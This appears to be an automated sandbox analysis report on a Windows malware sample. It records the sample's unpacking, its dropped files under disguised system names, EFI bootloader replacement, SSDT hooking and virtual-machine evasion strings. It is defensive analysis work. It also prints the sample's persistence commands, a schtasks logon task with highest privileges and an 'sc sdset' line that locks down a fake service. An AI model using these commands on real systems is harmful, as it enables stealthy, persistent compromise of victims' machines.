Source:	Binary string: EfiGuardDxe.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 1.2.rlavBKPBEc.exe.400000.2.unpack
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 6.2.rlavBKPBEc.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.1.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 26.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 31.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 32.2.csrss.exe.400000.1.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 37.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 47.2.csrss.exe.400000.2.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 1.2.rlavBKPBEc.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 6.2.rlavBKPBEc.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 26.2.csrss.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 31.2.csrss.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 32.2.csrss.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 37.2.csrss.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 47.2.csrss.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.symtab:R;

Source: windefender.exe.18.dr	Static PE information: section name: UPX2
Source: injector.exe.18.dr	Static PE information: section name: _RDATA
Source: bootmgfw.efi.18.dr	Static PE information: section name: .xdata
Source: bootx64.efi.18.dr	Static PE information: section name: .xdata
Source: EfiGuardDxe.efi.18.dr	Static PE information: section name: .xdata
Source: NtQuerySystemInformationHook.dll.18.dr	Static PE information: section name: _RDATA

Source: windefender.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x20ae45
Source: bootx64.efi.18.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: NtQuerySystemInformationHook.dll.18.dr	Static PE information: real checksum: 0x0 should be: 0x2279d
Source: EfiGuardDxe.efi.18.dr	Static PE information: real checksum: 0x4a5a6 should be: 0x51a75
Source: rlavBKPBEc.exe	Static PE information: real checksum: 0x4604f4 should be: 0x45cdb7
Source: csrss.exe.6.dr	Static PE information: real checksum: 0x4604f4 should be: 0x45cdb7
Source: bootmgfw.efi.18.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: injector.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x54ea2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior:

Creates files in the system32 config directory

Show sources

Source: C:\Windows\System32\netsh.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\PeerDistRepub

Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Executable created and started: C:\Windows\rss\csrss.exe			Jump to behavior
Source: unknown	Executable created and started: C:\Windows\windefender.exe

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

File created: C:\Windows\rss\csrss.exe

Jump to dropped file

Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file

Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File created: C:\Windows\rss\csrss.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File created: C:\Windows\rss\csrss.exe			Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe			Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run LittleViolet

Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run LittleViolet			Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run LittleViolet			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Hooking and other Techniques for Hiding and Protection:

May modify the system service descriptor table (often done to hook functions)

Show sources

Source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp	Binary or memory string: KeServiceDescriptorTable

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\windefender.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\windefender.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\windefender.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\windefender.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: VMSRVC.EXEVMUSRVC.EXESMSS.EXEVMSRVC.EXEVMUSRVC.EXECSRSS.EXEVMSRVC.EXEVMUSRVC.EXEWININIT.EXEVMSRVC.EXEVMUSRVC.EXECSRSS.EXEVMSRVC.EXEVMUSRVC.EXESERVICES.EXEVMSRVC.EXEVMUSRVC.EXEWINLOGON.EXEVMSRVC.EXEVMUSRVC.EXELSASS.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEDWM.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESPOOLSV.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESIHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXECTFMON.EXEVMSRVC.EXEVMUSRVC.EXEEXPLORER.EXEVMSRVC.EXEPATH=C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH;C:\WINDOWS\SYSTEM32;C:\WINDOWS;C:\WINDOWS\SYSTEM32\WBEM;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\;C:\WINDOWS\SYSTEM32\OPENSSH\;C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWSAPPS
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD RST MARKERBAD ALLOCCOUNTBAD RECORD MACBAD SPAN STATEBAD STACK SIZEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDEXIT STATUS -1FILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDLOOKUP TXT: %WMEMPROFILERATENEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREPORT_ID IS 0RUNTIME: BASE=RUNTIME: FULL=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIMEENDPERIODTOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: VMUSRVC.EXE
Source: csrss.exe	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGE
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: SYSTEM[SYSTEM PROCESS]SHAREDINTAPP.EXESYSTEMREGISTRYSHAREDINTAPP.EXEREGISTRYSHAREDINTAPP.EXESMSS.EXESHAREDINTAPP.EXECSRSS.EXESHAREDINTAPP.EXEWININIT.EXESHAREDINTAPP.EXECSRSS.EXESHAREDINTAPP.EXESERVICES.EXESHAREDINTAPP.EXEWINLOGON.EXESHAREDINTAPP.EXELSASS.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXEDWM.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESPOOLSV.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESIHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXECTFMON.EXESHAREDINTAPP.EXEEXPLORER.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXEDLLHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESEARCHUI.EXESEARCHUI.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXEWMIPRVSE.EXEWMIPRVSE.EXESHAREDINTAPP.EXEWMIPRVSE.EXEWMIPRVSE.EXESHAREDINTAPP.EXEWMIPRVSE.EXEWMIPRVSE.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXE[SYSTEM PROCESS]VMSRVC.EXEVMUSRVC.EXESYSTEMSYSTEMVMSRVC.EXEVMUSRVC.EXEREGISTRYREGISTRY
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCOMPAIGN_IDCREATED BY CRYPT32.DLLDNSMESSAGE.E2.KEFF.ORGEMBEDDED/%SFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEHTTPS_PROXYI/O TIMEOUTLOCAL ERRORLOST MCACHEMSPANMANUALMETHODARGS(MSWSOCK.DLLNEXT SERVERNIL CONTEXTORANNIS.COMPARSE ERRORPROCESS: %SRAW-CONTROLREFLECT.SETRETRY-AFTERRUNTIME: P RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITETASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION=183WININET.DLLWUP_PROCESS (SENSITIVE) [RECOVERED] ALLOCCOUNT FOUND AT *( GCSCANDONE M->GSIGNAL= MINTRIGGER= NDATAROOTS= 